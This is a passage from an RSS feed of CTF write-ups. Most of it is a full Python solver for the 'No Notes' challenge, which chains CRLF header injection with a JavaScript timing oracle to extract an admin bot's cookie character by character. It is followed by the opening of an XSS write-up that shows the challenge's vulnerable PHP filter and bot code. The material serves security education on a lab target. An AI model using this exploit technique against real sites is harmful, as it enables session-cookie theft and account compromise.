(Transfer-Encoding truncates trailing note.txt).<br>    &quot;&quot;&quot;<br>    size_hex = format(len(js_code.encode(&#39;utf-8&#39;)), &#39;x&#39;)<br>    injection = (<br>        &#39;&quot;\r\n&#39;<br>        &#39;Transfer-Encoding: chunked\r\n&#39;<br>        &#39;Content-Type: application/javascript\r\n&#39;<br>        &#39;\r\n&#39;<br>        f&#39;{size_hex}\r\n&#39;<br>        f&#39;{js_code}\r\n&#39;<br>        &#39;0\r\n&#39;<br>        &#39;\r\n&#39;<br>    )<br>    return &#39;/view/note.txt?name=&#39; + urllib.parse.quote(injection, safe=&#39;&#39;)</pre><p><strong>Stage 1: HTML Response Builder</strong></p><pre>def build_stage1(js_code, base):<br>    &quot;&quot;&quot;<br>    Build the Stage 1 CRLF-injection URL.<br>    Injects: Transfer-Encoding: chunked + Content-Type: text/html<br>    Body: HTML page that loads Stage 2 as &lt;script src&gt;.<br>    &quot;&quot;&quot;<br>    s2_rel  = build_stage2(js_code)          # relative URL (same-origin for CSP)<br>    html    = (f&#39;&lt;html&gt;&lt;body&gt;&#39;<br>               f&#39;&lt;script src=&quot;{s2_rel}&quot;&gt;&lt;/script&gt;&#39;<br>               f&#39;&lt;/body&gt;&lt;/html&gt;&#39;)<br>    size_hex = format(len(html.encode(&#39;utf-8&#39;)), &#39;x&#39;)<br>    injection = (<br>        &#39;&quot;\r\n&#39;<br>        &#39;Transfer-Encoding: chunked\r\n&#39;<br>        &#39;Content-Type: text/html\r\n&#39;<br>        &#39;\r\n&#39;<br>        f&#39;{size_hex}\r\n&#39;<br>        f&#39;{html}\r\n&#39;<br>        &#39;0\r\n&#39;<br>        &#39;\r\n&#39;<br>    )<br>    return base + &#39;/view/note.txt?name=&#39; + urllib.parse.quote(injection, safe=&#39;&#39;)</pre><p><strong>Important detail:</strong> Stage 2 URL appears double-encoded while building Stage 1, then decoded in steps by server/browser, ending with effective CRLF at Stage 2 request.</p><p><strong>Oracle JavaScript Generator</strong></p><pre>def oracle_js(condition):<br>    &quot;&quot;&quot;Build JS that blocks for ORACLE_DELAY seconds if condition is truthy.&quot;&quot;&quot;<br>    return (f&#39;if({condition}){{&#39;<br>            f&#39;var t=Date.now();&#39;<br>            f&#39;while(Date.now()-t&lt;{ORACLE_DELAY}000){{}}&#39;<br>            f&#39;}}&#39;)</pre><p><strong>Report Function</strong></p><pre>def report(url, timeout=30):<br>    &quot;&quot;&quot;Submit URL to /report and return (elapsed_seconds, response_text).&quot;&quot;&quot;<br>    t0 = time.time()<br>    try:<br>        r = SESSION.post(REPORT, data={&#39;url&#39;: url}, timeout=timeout)<br>        return time.time() - t0, r.text<br>    except requests.Timeout:<br>        return time.time() - t0, &#39;TIMEOUT&#39;<br>    except Exception as e:<br>        return time.time() - t0, f&#39;ERR:{e}&#39;</pre><p><strong>Oracle Function</strong></p><pre>def oracle(condition, base):<br>    &quot;&quot;&quot;<br>    Returns (bool_result, elapsed_seconds).<br>    TRUE  → elapsed &gt; THRESHOLD (JS blocked for ORACLE_DELAY s)<br>    FALSE → elapsed &lt; THRESHOLD (JS returned immediately)<br>    &quot;&quot;&quot;<br>    js  = oracle_js(condition)<br>    url = build_stage1(js, base)<br>    elapsed, _ = report(url, timeout=10)<br>    return elapsed &gt; THRESHOLD, elapsed</pre><p><strong>Parallel Batch Optimization</strong></p><pre>def oracle_parallel_batch(conditions, base):<br>    &quot;&quot;&quot;Execute multiple oracle calls in parallel for speed.&quot;&quot;&quot;<br>    results = {}<br>    with ThreadPoolExecutor(max_workers=5) as executor:<br>        futures = {executor.submit(oracle, cond, base): cond for cond in conditions}<br>        for future in as_completed(futures):<br>            cond = futures[future]<br>            try:<br>                results[cond] = future.result()<br>            except Exception as e:<br>                results[cond] = (False, 0)<br>    return results</pre><p><strong>Verify Server Response Splitting</strong></p><pre>def verify_server():<br>    &quot;&quot;&quot;<br>    Verify Stage 1 and Stage 2 URLs work correctly at the HTTP level.<br>    Does NOT require the bot to be running.<br>    &quot;&quot;&quot;<br>    # Test Stage 2: CRLF → application/javascript + chunked body<br>    s2_url = EXTERNAL_BASE + build_stage2(&#39;alert(1337)&#39;)<br>    r = requests.get(s2_url, timeout=15)<br>    s2_ct = r.headers.get(&#39;Content-Type&#39;, &#39;&#39;)<br>    s2_body = r.content<br>    s2_ok = &#39;application/javascript&#39; in s2_ct and s2_body == b&#39;alert(1337)&#39;<br>    <br>    # Test Stage 1: CRLF → text/html + chunked HTML body<br>    s1_url = build_stage1(&#39;alert(1337)&#39;, EXTERNAL_BASE)<br>    r = requests.get(s1_url, timeout=15)<br>    s1_ct = r.headers.get(&#39;Content-Type&#39;, &#39;&#39;)<br>    s1_body = r.text<br>    s1_ok = &#39;text/html&#39; in s1_ct and &#39;&lt;script src=&#39; in s1_body<br>    <br>    return s2_ok and s1_ok</pre><p><strong>Confirm JavaScript Execution</strong></p><pre>def confirm_execution():<br>    &quot;&quot;&quot;<br>    Test if JS executes in the bot by submitting for(;;){}.<br>    for(;;){} blocks forever → page.goto timeout at 7s → bot responds in ~8-9s.<br>    &quot;&quot;&quot;<br>    for base in [INTERNAL_BASE, EXTERNAL_BASE, LOCALHOST]:<br>        url = build_stage1(&#39;for(;;){}&#39;, base)<br>        t, resp = report(url, timeout=25)<br>        if t &gt; 7:  # Timeout indicates JS executed and blocked<br>            return base<br>    return None</pre><p><strong>Find Cookie Domain</strong></p><pre>def find_cookie_domain(exec_base):<br>    &quot;&quot;&quot;Test each candidate base URL to find where document.cookie is non-empty.&quot;&quot;&quot;<br>    for base in [INTERNAL_BASE, EXTERNAL_BASE, LOCALHOST]:<br>        result, t = oracle(&#39;document.cookie.length&gt;0&#39;, base)<br>        if result:<br>            return base<br>    return exec_base<br></pre><p><strong>Get Cookie Length</strong></p><pre>def get_cookie_length(base):<br>    &quot;&quot;&quot;Binary search for document.cookie.length.&quot;&quot;&quot;<br>    lo, hi = 1, 200<br>    while lo &lt; hi:<br>        mid = (lo + hi + 1) // 2<br>        ok, t = oracle(f&#39;document.cookie.length&gt;={mid}&#39;, base)<br>        if ok:<br>            lo = mid<br>        else:<br>            hi = mid - 1<br>    return lo</pre><p><strong>Extract Single Character</strong></p><pre>def extract_char(pos, base, extracted_prefix=&quot;&quot;):<br>    &quot;&quot;&quot;Extract char at position pos using binary search + parallel batch finish.&quot;&quot;&quot;<br>    FLAG_CHARS = &quot;abcdefghijklmnopqrstuvwxyz0123456789_{}=-ABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;<br>    <br>    lo, hi = 32, 126<br>    <br>    # Stage 1: binary search to narrow range to ≤24 chars<br>    while hi - lo &gt; 23:<br>        mid = (lo + hi) // 2<br>        ok, _ = oracle(f&#39;document.cookie.charCodeAt({pos})&gt;{mid}&#39;, base)<br>        if ok:<br>            lo = mid + 1<br>        else:<br>            hi = mid<br>    <br>    # Stage 2: parallel equality check on all candidates<br>    candidates = [c for c in FLAG_CHARS if lo &lt;= ord(c) &lt;= hi]<br>    if candidates:<br>        batch_conditions = [f&#39;document.cookie.charCodeAt({pos})=={ord(c)}&#39; <br>                          for c in candidates]<br>        results = oracle_parallel_batch(batch_conditions, base)<br>        for cond, (found, _) in results.items():<br>            if found:<br>                for c in candidates:<br>                    if f&#39;=={ord(c)}&#39; in cond:<br>                        return c<br>    <br>    # Stage 3: fallback binary search if char not in FLAG_CHARS<br>    while lo &lt; hi:<br>        mid = (lo + hi) // 2<br>        ok, _ = oracle(f&#39;document.cookie.charCodeAt({pos})&gt;{mid}&#39;, base)<br>        if ok:<br>            lo = mid + 1<br>        else:<br>            hi = mid<br>    <br>    return chr(lo)</pre><p><strong>Extract Full Cookie</strong></p><pre>def extract_cookie(length, base):<br>    &quot;&quot;&quot;Extract document.cookie — 2 chars in parallel for ~2x speedup.&quot;&quot;&quot;<br>    PARALLEL = 2<br>    cookie = [&#39;?&#39;] * length<br>    <br>    for batch_start in range(0, length, PARALLEL):<br>        batch_end = min(batch_start + PARALLEL, length)<br>        <br>        with ThreadPoolExecutor(max_workers=PARALLEL) as executor:<br>            futures = {executor.submit(extract_char, i, base, &quot;&quot;): i<br>                       for i in range(batch_start, batch_end)}<br>            for future in as_completed(futures):<br>                i = futures[future]<br>                cookie[i] = future.result()<br>    <br>    return &#39;&#39;.join(cookie)</pre><h4>The Full Solver</h4><pre>import requests, time, urllib.parse, sys, argparse<br>from concurrent.futures import ThreadPoolExecutor, as_completed<br>import threading<br><br># ── Connection Pool (reuse TCP+TLS across all oracle calls) ───────────────────<br>SESSION = requests.Session()<br>SESSION.mount(&#39;https://&#39;, requests.adapters.HTTPAdapter(<br>    pool_connections=8, pool_maxsize=8, max_retries=1))<br><br># ── Config ────────────────────────────────────────────────────────────────────<br><br>REPORT        = &#39;https://web-nonotes.hackena-labs.com/report&#39;<br>EXTERNAL_BASE = &#39;https://web-nonotes.hackena-labs.com&#39;<br>INTERNAL_BASE = &#39;http://web-nonotes:5001&#39;<br>LOCALHOST     = &#39;http://localhost:5001&#39;<br><br>ORACLE_DELAY  = 6       # seconds JS blocks when condition is TRUE<br>THRESHOLD     = 4       # seconds to distinguish TRUE (&gt;4s) vs FALSE (&lt;4s)<br>BOT_UP_THRESH = 1.5     # seconds; bot is UP when any URL takes longer than this<br><br># ── URL Builders ──────────────────────────────────────────────────────────────<br><br>def build_stage2(js_code):<br>    &quot;&quot;&quot;<br>    Build the Stage 2 CRLF-injection URL.<br>    Injects: Transfer-Encoding: chunked + Content-Type: application/javascript<br>    Body: exactly js_code bytes (Transfer-Encoding truncates trailing note.txt).<br>    &quot;&quot;&quot;<br>    size_hex = format(len(js_code.encode(&#39;utf-8&#39;)), &#39;x&#39;)<br>    injection = (<br>        &#39;&quot;\r\n&#39;<br>        &#39;Transfer-Encoding: chunked\r\n&#39;<br>        &#39;Content-Type: application/javascript\r\n&#39;<br>        &#39;\r\n&#39;<br>        f&#39;{size_hex}\r\n&#39;<br>        f&#39;{js_code}\r\n&#39;<br>        &#39;0\r\n&#39;<br>        &#39;\r\n&#39;<br>    )<br>    return &#39;/view/note.txt?name=&#39; + urllib.parse.quote(injection, safe=&#39;&#39;)<br><br><br>def build_stage1(js_code, base):<br>    &quot;&quot;&quot;<br>    Build the Stage 1 CRLF-injection URL.<br>    Injects: Transfer-Encoding: chunked + Content-Type: text/html<br>    Body: HTML page that loads Stage 2 as &lt;script src&gt;.<br><br>    DOUBLE-ENCODING NOTE:<br>    Stage 1 injection is URL-encoded with safe=&#39;&#39;, so &#39;%&#39; → &#39;%25&#39;.<br>    Stage 2&#39;s %0D%0A becomes %250D%250A in Stage 1&#39;s query string.<br>    Flask decodes Stage 1 once → Stage 2 URL in HTML has %0D%0A.<br>    Chrome fetches Stage 2 with %0D%0A → Flask decodes again → CRLF injection.<br>    &quot;&quot;&quot;<br>    s2_rel  = build_stage2(js_code)          # relative URL (same-origin for CSP)<br>    html    = (f&#39;&lt;html&gt;&lt;body&gt;&#39;<br>               f&#39;&lt;script src=&quot;{s2_rel}&quot;&gt;&lt;/script&gt;&#39;<br>               f&#39;&lt;/body&gt;&lt;/html&gt;&#39;)<br>    size_hex = format(len(html.encode(&#39;utf-8&#39;)), &#39;x&#39;)<br>    injection = (<br>        &#39;&quot;\r\n&#39;<br>        &#39;Transfer-Encoding: chunked\r\n&#39;<br>        &#39;Content-Type: text/html\r\n&#39;<br>        &#39;\r\n&#39;<br>        f&#39;{size_hex}\r\n&#39;<br>        f&#39;{html}\r\n&#39;<br>        &#39;0\r\n&#39;<br>        &#39;\r\n&#39;<br>    )<br>    return base + &#39;/view/note.txt?name=&#39; + urllib.parse.quote(injection, safe=&#39;&#39;)<br><br><br>def oracle_js(condition):<br>    &quot;&quot;&quot;Build JS that blocks for ORACLE_DELAY seconds if condition is truthy.&quot;&quot;&quot;<br>    return (f&#39;if({condition}){{&#39;<br>            f&#39;var t=Date.now();&#39;<br>            f&#39;while(Date.now()-t&lt;{ORACLE_DELAY}000){{}}&#39;<br>            f&#39;}}&#39;)<br><br># ── HTTP Helpers ──────────────────────────────────────────────────────────────<br><br>def report(url, timeout=30):<br>    &quot;&quot;&quot;Submit URL to /report and return (elapsed_seconds, response_text).&quot;&quot;&quot;<br>    t0 = time.time()<br>    try:<br>        r = SESSION.post(REPORT, data={&#39;url&#39;: url}, timeout=timeout)<br>        return time.time() - t0, r.text<br>    except requests.Timeout:<br>        return time.time() - t0, &#39;TIMEOUT&#39;<br>    except Exception as e:<br>        return time.time() - t0, f&#39;ERR:{e}&#39;<br><br><br>def oracle(condition, base):<br>    &quot;&quot;&quot;<br>    Returns (bool_result, elapsed_seconds).<br>    TRUE  → elapsed &gt; THRESHOLD (JS blocked for ORACLE_DELAY s)<br>    FALSE → elapsed &lt; THRESHOLD (JS returned immediately)<br>    Uses shorter timeout to detect false cases faster.<br>    &quot;&quot;&quot;<br>    js  = oracle_js(condition)<br>    url = build_stage1(js, base)<br>    elapsed, _ = report(url, timeout=10)<br>    return elapsed &gt; THRESHOLD, elapsed<br><br><br>_oracle_lock = threading.Lock()<br><br>def oracle_parallel_batch(conditions, base):<br>    &quot;&quot;&quot;<br>    Execute multiple oracle calls in parallel.<br>    Returns dict: {condition -&gt; (result, elapsed)}<br>    &quot;&quot;&quot;<br>    results = {}<br>    with ThreadPoolExecutor(max_workers=5) as executor:<br>        futures = {executor.submit(oracle, cond, base): cond for cond in conditions}<br>        for future in as_completed(futures):<br>            cond = futures[future]<br>            try:<br>                results[cond] = future.result()<br>            except Exception as e:<br>                results[cond] = (False, 0)<br>    return results<br><br># ── Bot Status ────────────────────────────────────────────────────────────────<br><br>def bot_is_up():<br>    &quot;&quot;&quot;Bot is UP when a simple URL takes &gt;BOT_UP_THRESH seconds.&quot;&quot;&quot;<br>    t, _ = report(EXTERNAL_BASE + &#39;/view/note.txt&#39;, timeout=10)<br>    return t &gt; BOT_UP_THRESH, t<br><br><br>def wait_for_bot(max_minutes=120):<br>    &quot;&quot;&quot;Block until bot is up. Returns True if found, False on timeout.&quot;&quot;&quot;<br>    print(f&quot;[~] Waiting for bot (checking every 30s, max {max_minutes}min)...&quot;)<br>    deadline = time.time() + max_minutes * 60<br>    check = 0<br>    while time.time() &lt; deadline:<br>        up, t = bot_is_up()<br>        check += 1<br>        ts = time.strftime(&#39;%H:%M:%S&#39;)<br>        if up:<br>            print(f&quot;\n[{ts}] Bot UP! ({t:.2f}s on plain URL)&quot;)<br>            return True<br>        print(f&quot;[{ts}] #{check} Bot down ({t:.2f}s), retrying in 30s...&quot;, end=&#39;\r&#39;, flush=True)<br>        time.sleep(30)<br>    print(f&quot;\n[!] Bot never came up after {max_minutes} minutes.&quot;)<br>    return False<br><br># ── Verification (no bot needed) ──────────────────────────────────────────────<br><br>def verify_server():<br>    &quot;&quot;&quot;<br>    Verify Stage 1 and Stage 2 URLs work correctly at the HTTP level.<br>    Does NOT require the bot to be running.<br>    &quot;&quot;&quot;<br>    print(&quot;=&quot; * 62)<br>    print(&quot;SERVER-SIDE VERIFICATION (no bot needed)&quot;)<br>    print(&quot;=&quot; * 62)<br>    ok = True<br><br>    # Stage 2<br>    print(&quot;\n[Stage 2] CRLF → application/javascript + chunked body&quot;)<br>    s2_url = EXTERNAL_BASE + build_stage2(&#39;alert(1337)&#39;)<br>    r = requests.get(s2_url, timeout=15)<br>    s2_ct   = r.headers.get(&#39;Content-Type&#39;, &#39;&#39;)<br>    s2_body = r.content<br>    s2_ok   = &#39;application/javascript&#39; in s2_ct and s2_body == b&#39;alert(1337)&#39;<br>    print(f&quot;  Content-Type : {s2_ct}&quot;)<br>    print(f&quot;  Body         : {s2_body!r} ({len(s2_body)} bytes)&quot;)<br>    print(f&quot;  Status       : {&#39;✓ PASS&#39; if s2_ok else &#39;✗ FAIL&#39;}&quot;)<br>    if not s2_ok:<br>        ok = False<br><br>    # Stage 1<br>    print(&quot;\n[Stage 1] CRLF → text/html + chunked HTML body&quot;)<br>    s1_url = build_stage1(&#39;alert(1337)&#39;, EXTERNAL_BASE)<br>    r = requests.get(s1_url, timeout=15)<br>    s1_ct   = r.headers.get(&#39;Content-Type&#39;, &#39;&#39;)<br>    s1_body = r.text<br>    s1_ok   = &#39;text/html&#39; in s1_ct and &#39;&lt;script src=&#39; in s1_body and len(r.content) &lt; 300<br>    print(f&quot;  Content-Type : {s1_ct}&quot;)<br>    print(f&quot;  Body length  : {len(r.content)} bytes (expected ~200)&quot;)<br>    print(f&quot;  Has &lt;script&gt; : {&#39;yes&#39; if &#39;&lt;script src=&#39; in s1_body else &#39;NO&#39;}&quot;)<br>    csp = r.headers.get(&#39;Content-Security-Policy&#39;, &#39;&#39;)<br>    print(f&quot;  CSP          : {csp[:80]}&quot;)<br>    print(f&quot;  Status       : {&#39;✓ PASS&#39; if s1_ok else &#39;✗ FAIL&#39;}&quot;)<br>    if not s1_ok:<br>        ok = False<br><br>    # Script src URL in the HTML (must have %0D%0A not %250D%250A)<br>    import re<br>    m = re.search(r&#39;&lt;script src=&quot;([^&quot;]+)&quot;&#39;, s1_body)<br>    if m:<br>        src = m.group(1)<br>        has_crlf_encoded = &#39;%0D%0A&#39; in src or &#39;%0d%0a&#39; in src<br>        print(f&quot;\n[Stage 2 src inside HTML]&quot;)<br>        print(f&quot;  src (first 100): {src[:100]}&quot;)<br>        print(f&quot;  Has %0D%0A     : {&#39;yes ✓&#39; if has_crlf_encoded else &#39;NO ✗ (double-encoded bug!)&#39;}&quot;)<br>        if not has_crlf_encoded:<br>            ok = False<br><br>    print(f&quot;\n{&#39;[✓] All server checks PASS&#39; if ok else &#39;[✗] SOME CHECKS FAILED&#39;}&quot;)<br>    return ok<br><br><br># ── Exploit Steps ─────────────────────────────────────────────────────────────<br><br>def confirm_execution():<br>    &quot;&quot;&quot;<br>    Test if JS executes in the bot by submitting for(;;){}.<br>    for(;;){} blocks forever → page.goto timeout at 7s → bot responds in ~8-9s.<br>    Returns the base URL where JS executes, or None.<br>    &quot;&quot;&quot;<br>    print(&quot;\n[Step 1] Confirming JS execution&quot;)<br>    print(&quot;  (for(;;){} should block domcontentloaded → bot takes ~8s)&quot;)<br><br>    for base in [INTERNAL_BASE, EXTERNAL_BASE, LOCALHOST]:<br>        url = build_stage1(&#39;for(;;){}&#39;, base)<br>        t, resp = report(url, timeout=25)<br>        symbol = &#39;✓&#39; if t &gt; 7 else &#39;~&#39; if t &gt; 2 else &#39;✗&#39;<br>        print(f&quot;  [{symbol}] {base:&lt;42} {t:.2f}s&quot;)<br>        if t &gt; 7:<br>            print(f&quot;  → JS executes on {base}&quot;)<br>            return base<br><br>    print(&quot;  [!] JS not confirmed on any base URL.&quot;)<br>    print(&quot;      Possible causes:&quot;)<br>    print(&quot;      - Bot is DOWN (all times &lt; 1.5s?)&quot;)<br>    print(&quot;      - Chrome stripping %0D%0A from script src URLs&quot;)<br>    print(&quot;      - CRLF injection blocked by WAF&quot;)<br>    return None<br><br><br>def find_cookie_domain(exec_base):<br>    &quot;&quot;&quot;<br>    Test each candidate base URL to find where document.cookie is non-empty.<br>    &quot;&quot;&quot;<br>    print(&quot;\n[Step 2] Finding cookie domain&quot;)<br>    for base in [INTERNAL_BASE, EXTERNAL_BASE, LOCALHOST]:<br>        result, t = oracle(&#39;document.cookie.length&gt;0&#39;, base)<br>        symbol = &#39;✓&#39; if result else &#39;✗&#39;<br>        print(f&quot;  [{symbol}] cookie.length&gt;0 on {base:&lt;42} ({t:.2f}s)&quot;)<br>        if result:<br>            print(f&quot;  → Cookie found on {base}&quot;)<br>            return base<br>    print(&quot;  [!] Cookie empty on all domains. Trying exec_base as fallback.&quot;)<br>    return exec_base<br><br><br>def get_cookie_length(base):<br>    &quot;&quot;&quot;Binary search for document.cookie.length.&quot;&quot;&quot;<br>    print(&quot;\n[Step 3] Finding cookie length (binary search)&quot;)<br>    lo, hi = 1, 200<br>    while lo &lt; hi:<br>        mid = (lo + hi + 1) // 2<br>        ok, t = oracle(f&#39;document.cookie.length&gt;={mid}&#39;, base)<br>        sym = &#39;≥&#39; if ok else &#39;&lt;&#39;<br>        print(f&quot;  len {sym} {mid:3d}   ({t:.2f}s)&quot;)<br>        if ok:<br>            lo = mid<br>        else:<br>            hi = mid - 1<br>    print(f&quot;  → length = {lo}&quot;)<br>    return lo<br><br><br>def extract_char(pos, base, extracted_prefix=&quot;&quot;):<br>    &quot;&quot;&quot;Extract char at position pos using binary search + parallel batch finish.&quot;&quot;&quot;<br>    # Frequency-ordered charset for CTF flags (most likely first)<br>    FLAG_CHARS = &quot;abcdefghijklmnopqrstuvwxyz0123456789_{}=-ABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;<br>    <br>    lo, hi = 32, 126<br>    <br>    # Stage 1: binary search to narrow range to ≤24 chars (2-3 calls)<br>    while hi - lo &gt; 23:<br>        mid = (lo + hi) // 2<br>        ok, _ = oracle(f&#39;document.cookie.charCodeAt({pos})&gt;{mid}&#39;, base)<br>        if ok:<br>            lo = mid + 1<br>        else:<br>            hi = mid<br>    <br>    # Stage 2: parallel equality check on all candidate chars (up to 24)<br>    # With 5 workers, 24 tasks = ~5 rounds; only 1 TRUE (6s), rest FALSE (2s)<br>    # Wall time: ~4×2 + 1×6 = 14s — faster than 5 sequential binary steps (~22s)<br>    candidates = [c for c in FLAG_CHARS if lo &lt;= ord(c) &lt;= hi]<br>    if candidates:<br>        batch_conditions = [f&#39;document.cookie.charCodeAt({pos})=={ord(c)}&#39; for c in candidates]<br>        results = oracle_parallel_batch(batch_conditions, base)<br>        for cond, (found, _) in results.items():<br>            if found:<br>                for c in candidates:<br>                    if f&#39;=={ord(c)}&#39; in cond:<br>                        return c<br>    <br>    # Stage 3: fallback binary search for chars not in FLAG_CHARS<br>    while lo &lt; hi:<br>        mid = (lo + hi) // 2<br>        ok, _ = oracle(f&#39;document.cookie.charCodeAt({pos})&gt;{mid}&#39;, base)<br>        if ok:<br>            lo = mid + 1<br>        else:<br>            hi = mid<br>    <br>    return chr(lo)<br><br><br>def extract_cookie(length, base):<br>    &quot;&quot;&quot;Extract document.cookie — 2 chars in parallel for ~2x speedup.&quot;&quot;&quot;<br>    PARALLEL = 2  # extract 2 chars simultaneously<br>    print(f&quot;\n[Step 4] Extracting {length}-char cookie ({PARALLEL} chars parallel, 5 workers/batch)&quot;)<br>    cookie = [&#39;?&#39;] * length<br>    start_time = time.time()<br>    <br>    for batch_start in range(0, length, PARALLEL):<br>        batch_end = min(batch_start + PARALLEL, length)<br>        elapsed_total = time.time() - start_time<br>        if batch_start &gt; 0:<br>            eta_remaining = elapsed_total * (length - batch_start) / batch_start<br>            eta_str = f&quot; ETA: {eta_remaining/60:.1f}min&quot;<br>        else:<br>            eta_str = &quot;&quot;<br>        <br>        print(f&quot;\n[{batch_start:3d}/{length}] Extracting chars {batch_start}-{batch_end-1}...{eta_str}&quot;, flush=True)<br>        <br>        with ThreadPoolExecutor(max_workers=PARALLEL) as executor:<br>            futures = {executor.submit(extract_char, i, base, &quot;&quot;): i<br>                       for i in range(batch_start, batch_end)}<br>            for future in as_completed(futures):<br>                i = futures[future]<br>                cookie[i] = future.result()<br>                print(f&quot;  [{i:3d}] &#39;{cookie[i]}&#39;&quot;, flush=True)<br>        <br>        partial = &#39;&#39;.join(cookie[:batch_end])<br>        print(f&quot;  → {partial!r}&quot;, flush=True)<br>    <br>    return &#39;&#39;.join(cookie)<br><br># ── Main ──────────────────────────────────────────────────────────────────────<br><br>def main():<br>    parser = argparse.ArgumentParser(description=&#39;No Notes hehe – CTF Solver&#39;)<br>    parser.add_argument(&#39;--check&#39;,     action=&#39;store_true&#39;, help=&#39;Server-side check only (no bot)&#39;)<br>    parser.add_argument(&#39;--wait&#39;,      action=&#39;store_true&#39;, help=&#39;Wait for bot then auto-exploit&#39;)<br>    parser.add_argument(&#39;--test-exec&#39;, action=&#39;store_true&#39;, help=&#39;Test JS execution only&#39;)<br>    parser.add_argument(&#39;--no-wait&#39;,   action=&#39;store_true&#39;, help=&#39;Skip bot-up check, run immediately&#39;)<br>    args = parser.parse_args()<br><br> <br><br>    # ── Mode: server-side check only ──<br>    if args.check:<br>        verify_server()<br>        return<br><br>    # ── Mode: test execution only ──<br>    if args.test_exec:<br>        up, t = bot_is_up()<br>        if not up:<br>            print(f&quot;[!] Bot appears DOWN ({t:.2f}s). Use --no-wait to skip check.&quot;)<br>            if not args.no_wait:<br>                sys.exit(1)<br>        confirm_execution()<br>        return<br><br>    # ── Run verification first ──<br>    print(&quot;\n[0] Verifying server-side URLs...&quot;)<br>    if not verify_server():<br>        print(&quot;[!] Server checks failed. CRLF injection may be patched.&quot;)<br>        sys.exit(1)<br><br>    # ── Wait for bot if needed ──<br>    if args.wait:<br>        if not wait_for_bot():<br>            sys.exit(1)<br>    elif not args.no_wait:<br>        up, t = bot_is_up()<br>        if not up:<br>            print(f&quot;\n[!] Bot appears DOWN ({t:.2f}s for plain URL).&quot;)<br>            print(&quot;    Run with --wait to keep trying, or --no-wait to force-run.&quot;)<br>            sys.exit(1)<br>        print(f&quot;[✓] Bot UP ({t:.2f}s)&quot;)<br><br>    # ── Full exploit ──<br>    exec_base = confirm_execution()<br>    if exec_base is None:<br>        print(&quot;\n[!] Cannot confirm JS execution. Exploit cannot proceed.&quot;)<br>        print(&quot;    Possible issues: bot DOWN, Chrome URL sanitization, CSP&quot;)<br>        sys.exit(1)<br><br>    base = find_cookie_domain(exec_base)<br>    length = get_cookie_length(base)<br>    if length == 0:<br>        print(&quot;[!] Cookie is empty!&quot;)<br>        sys.exit(1)<br><br>    cookie = extract_cookie(length, base)<br><br>    print(&quot;\n&quot; + &quot;═&quot; * 60)<br>    print(f&quot;[+] FLAG COOKIE: {cookie}&quot;)<br>    print(&quot;═&quot; * 60)<br><br><br>if __name__ == &#39;__main__&#39;:<br>    main()</pre><p>Run it using → python3 solver.py and wait about 30 min for full flag</p><p><strong>Final Notes<br></strong>The challenge is a strong example that removing a feature does not remove all attack surface if response construction still trusts user input. The critical sink here is header generation, not HTML template rendering.</p><p>Happy Hacking :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d68c8cdd25ee" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Czechoslovakia XSS Challenge | Hackena Ramadan CTF]]></title>
            <link>https://medium.com/@db1M/czechoslovakia-xss-challenge-hackena-ramadan-ctf-f9ebe5197526?source=rss-9f4e7f83a72e------2</link>
            <guid isPermaLink="false">https://medium.com/p/f9ebe5197526</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[xss-attack]]></category>
            <dc:creator><![CDATA[db1M]]></dc:creator>
            <pubDate>Sat, 14 Mar 2026 02:02:06 GMT</pubDate>
            <atom:updated>2026-03-14T02:02:06.611Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BBTjlMLcj4-mZrrk" /></figure><blockquote>How I Exploited an <strong>XSS </strong>vulnerability in a filtered input parameter using the<br> <strong>/a//</strong>bypass technique to steal the admin bot’s FLAG cookie through a webhook exfiltration.</blockquote><h3><strong>Components</strong></h3><ul><li><strong>Web App </strong>(index.php): Reflects user input inside a &lt;script&gt; tag with strict filtering</li></ul><pre>&lt;?php<br><br>function check($input) {<br>    $whitelist = &#39;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789;&quot;/&#39;;<br>    $result = &#39;&#39;;<br>    $len = strlen($input);<br><br>    if(str_contains($input, &#39;&lt;&#39;)){<br>        return false;<br>    }<br>    if(substr_count($input, &#39;&quot;&#39;) &gt; 1){<br>        return false;<br>    }<br>    <br>    for ($i = 0; $i &lt; $len; $i++) {<br>        $char = $input[$i];<br><br>        if (strpos($whitelist, $char) !== false) {<br>            $result .= $char;<br>        }<br>        else {<br>            return false;<br>        }<br><br>        if ($char === &#39;/&#39; &amp;&amp; isset($input[$i+1]) &amp;&amp; $input[$i+1] === &#39;/&#39;) {<br>            if (strpos($result, &#39;&quot;&#39;) !== false) {<br>                break;<br>            }<br>            $result .= &#39;//&#39;;<br>            $i++; <br>        }<br>    }<br><br>    return $result;<br>}<br><br><br><br><br>function remove_all_whitespace(string $s): string {<br>    return preg_replace(&#39;/[\p{Z}\p{C}\s]+/u&#39;, &#39;&#39;, $s);<br>}<br><br><br><br>$name = remove_all_whitespace($_GET[&#39;name&#39;] ?? &quot;Guest&quot;);<br><br>if (!check($name)) {<br>    $name = &quot;Guest&quot;;<br>}<br><br>?&gt;<br><br><br>&lt;h3 id=&quot;welcome&quot;&gt;&lt;/h3&gt;<br>&lt;script&gt;<br>document.getElementById(&quot;welcome&quot;).innerText = &quot;Welcome, &lt;?=$name?&gt;&quot;;<br>&lt;/script&gt;</pre><ul><li><strong>Admin Bot </strong>(admin_bot.js): Bot that visits URLs with a FLAG cookie set</li></ul><pre>const express = require(&#39;express&#39;);<br>const puppeteer = require(&#39;puppeteer&#39;);<br><br>const app = express();<br>const PORT = 3000;<br><br>app.use(express.json());<br><br>app.post(&#39;/visit&#39;, async (req, res) =&gt; {<br>  const { url } = req.body;<br>  if (!url) return res.status(400).json({ error: &#39;Missing url&#39; });<br><br>  if (!(url.startsWith(&#39;https://web-czechoslovakia.hackena-labs.com/&#39;) || url.startsWith(&#39;http://web-czechoslovakia.hackena-labs.com/&#39;))) {<br>    return res.status(400).json({ error: &#39;Only http(s)://web-czechoslovakia.hackena-labs.com/ allowed&#39; });<br>  }<br><br><br><br><br><br><br>  const browser = await puppeteer.launch({<br>    headless: &#39;new&#39;,<br>    args: [&#39;--no-sandbox&#39;, &#39;--disable-dev-shm-usage&#39;],<br>  });<br><br>  const page = await 